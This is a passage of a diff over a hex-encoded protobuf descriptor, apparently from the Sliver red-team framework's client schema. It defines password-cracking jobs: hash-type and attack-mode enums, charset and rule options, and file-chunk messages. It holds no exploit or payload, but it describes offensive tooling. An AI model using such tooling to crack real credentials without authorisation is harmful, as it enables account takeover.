- 0x33, 0x10, 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32,
- 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0x9c, 0x7c, 0x12,
- 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f,
- 0x33, 0x10, 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, 0x42, 0x5f, 0x32, 0x10, 0xa0,
- 0x38, 0x12, 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, 0x52, 0x45, 0x5f, 0x53, 0x59,
- 0x4e, 0x43, 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, 0x44, 0x49, 0x5f, 0x43, 0x52,
- 0x59, 0x50, 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, 0x54, 0x4c, 0x4d, 0x10, 0xe8,
- 0x07, 0x12, 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x32, 0x10, 0xac, 0x4d, 0x12,
- 0x14, 0x0a, 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, 0x4e, 0x47, 0x5f, 0x41, 0x4e, 0x44, 0x52, 0x4f,
- 0x49, 0x44, 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53,
- 0x5f, 0x48, 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, 0xc4, 0xdb, 0x01, 0x12, 0x12,
- 0x0a, 0x0d, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, 0x48, 0x4f, 0x4e, 0x45, 0x10,
- 0xe8, 0x6b, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x41, 0x53, 0x41, 0x5f,
- 0x4d, 0x44, 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f,
- 0x49, 0x4f, 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35,
- 0x36, 0x10, 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f,
- 0x53, 0x5f, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xd4, 0x48, 0x12, 0x12, 0x0a, 0x0d, 0x43,
- 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xe0, 0x12, 0x12,
- 0x1a, 0x0a, 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41,
- 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, 0x12, 0x1d, 0x0a, 0x17, 0x43,
- 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f,
- 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x43,
- 0x43, 0x10, 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, 0x32, 0x10, 0xb4, 0x10, 0x12,
- 0x0f, 0x0a, 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, 0x5f, 0x38, 0x10, 0xbc, 0x37,
- 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x10, 0x8f, 0x4e, 0x12, 0x10,
- 0x0a, 0x0b, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x80, 0x19,
- 0x12, 0x16, 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54,
- 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74,
- 0x65, 0x73, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08,
- 0x43, 0x52, 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e,
- 0x49, 0x54, 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x2a, 0x3c, 0x0a, 0x0e,
- 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0f,
- 0x0a, 0x0b, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, 0x00, 0x12,
- 0x0d, 0x0a, 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x0a,
- 0x0a, 0x06, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0x94, 0x01, 0x0a, 0x0f, 0x43,
- 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c,
- 0x0a, 0x08, 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b,
- 0x43, 0x4f, 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x0e, 0x0a,
- 0x0a, 0x42, 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x10, 0x03, 0x12, 0x18, 0x0a,
- 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54,
- 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49,
- 0x44, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10,
- 0x07, 0x12, 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, 0x41, 0x54, 0x49, 0x4f, 0x4e,
- 0x10, 0x09, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, 0x54, 0x41, 0x43, 0x4b, 0x10,
- 0x0a, 0x2a, 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69,
- 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x45, 0x4e,
- 0x43, 0x4f, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x53, 0x4f, 0x5f,
- 0x38, 0x38, 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, 0x0a, 0x08, 0x55, 0x54, 0x46,
- 0x5f, 0x33, 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63,
- 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12,
- 0x0a, 0x0e, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, 0x4f, 0x52, 0x4d, 0x41, 0x54,
- 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10,
- 0x01, 0x12, 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x02, 0x12, 0x0d, 0x0a, 0x09,
- 0x48, 0x45, 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x43,
- 0x52, 0x41, 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49,
- 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, 0x4f, 0x4c, 0x55, 0x54, 0x45,
- 0x10, 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f,
- 0x52, 0x45, 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, 0x63, 0x0a, 0x14, 0x43, 0x72,
- 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69,
- 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x57, 0x4f,
- 0x52, 0x4b, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00,
- 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x46,
- 0x41, 0x55, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x49, 0x47, 0x48, 0x10, 0x03,
- 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, 0x52, 0x45, 0x10, 0x04, 0x2a,
- 0x4e, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65,
- 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x54, 0x59, 0x50, 0x45,
- 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x01,
- 0x12, 0x09, 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, 0x12, 0x12, 0x0a, 0x0e, 0x4d,
- 0x41, 0x52, 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, 0x54, 0x32, 0x10, 0x03, 0x42,
- 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69,
- 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70,
- 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
- 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
+ 0x4d, 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52,
+ 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d,
+ 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46,
+ 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74,
+ 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c,
+ 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e,
+ 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f,
+ 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75,
+ 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f,
+ 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12,
+ 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74,
+ 0x32, 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43,
+ 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f,
+ 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12,
+ 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74,
+ 0x34, 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43,
+ 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74,
+ 0x69, 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74,
+ 0x69, 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74,
+ 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e,
+ 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69,
+ 0x6e, 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65,
+ 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65,
+ 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63,
+ 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f,
+ 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28,
+ 0x08, 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65,
+ 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
+ 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72,
+ 0x76, 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76,
+ 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42,
+ 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12,
+ 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b,
+ 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13,
+ 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75,
+ 0x72, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74,
+ 0x18, 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73,
+ 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e,
+ 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12,
+ 0x24, 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64,
+ 0x18, 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73,
+ 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65,
+ 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61,
+ 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61,
+ 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69,
+ 0x73, 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53,
+ 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22,
+ 0x8d, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12,
+ 0x1a, 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28,
+ 0x08, 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d,
+ 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03,
+ 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a,
+ 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03,
+ 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d,
+ 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28,
+ 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22,
+ 0x87, 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29,
+ 0x0a, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69,
+ 0x6c, 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72,
+ 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20,
+ 0x01, 0x28, 0x03, 0x52, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b,
+ 0x55, 0x73, 0x61, 0x67, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b,
+ 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78,
+ 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72,
+ 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74,
+ 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61,
+ 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64,
+ 0x69, 0x66, 0x69, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73,
+ 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d,
+ 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a,
+ 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a,
+ 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72,
+ 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61,
+ 0x32, 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61,
+ 0x32, 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01,
+ 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72,
+ 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70,
+ 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65,
+ 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72,
+ 0x65, 0x73, 0x73, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65,
+ 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46,
+ 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b,
+ 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e,
+ 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30, 0x0a, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18,
+ 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+ 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52,
+ 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x22, 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b,
+ 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18,
+ 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61,
+ 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b,
+ 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e,
+ 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74,
+ 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x51, 0x0a,
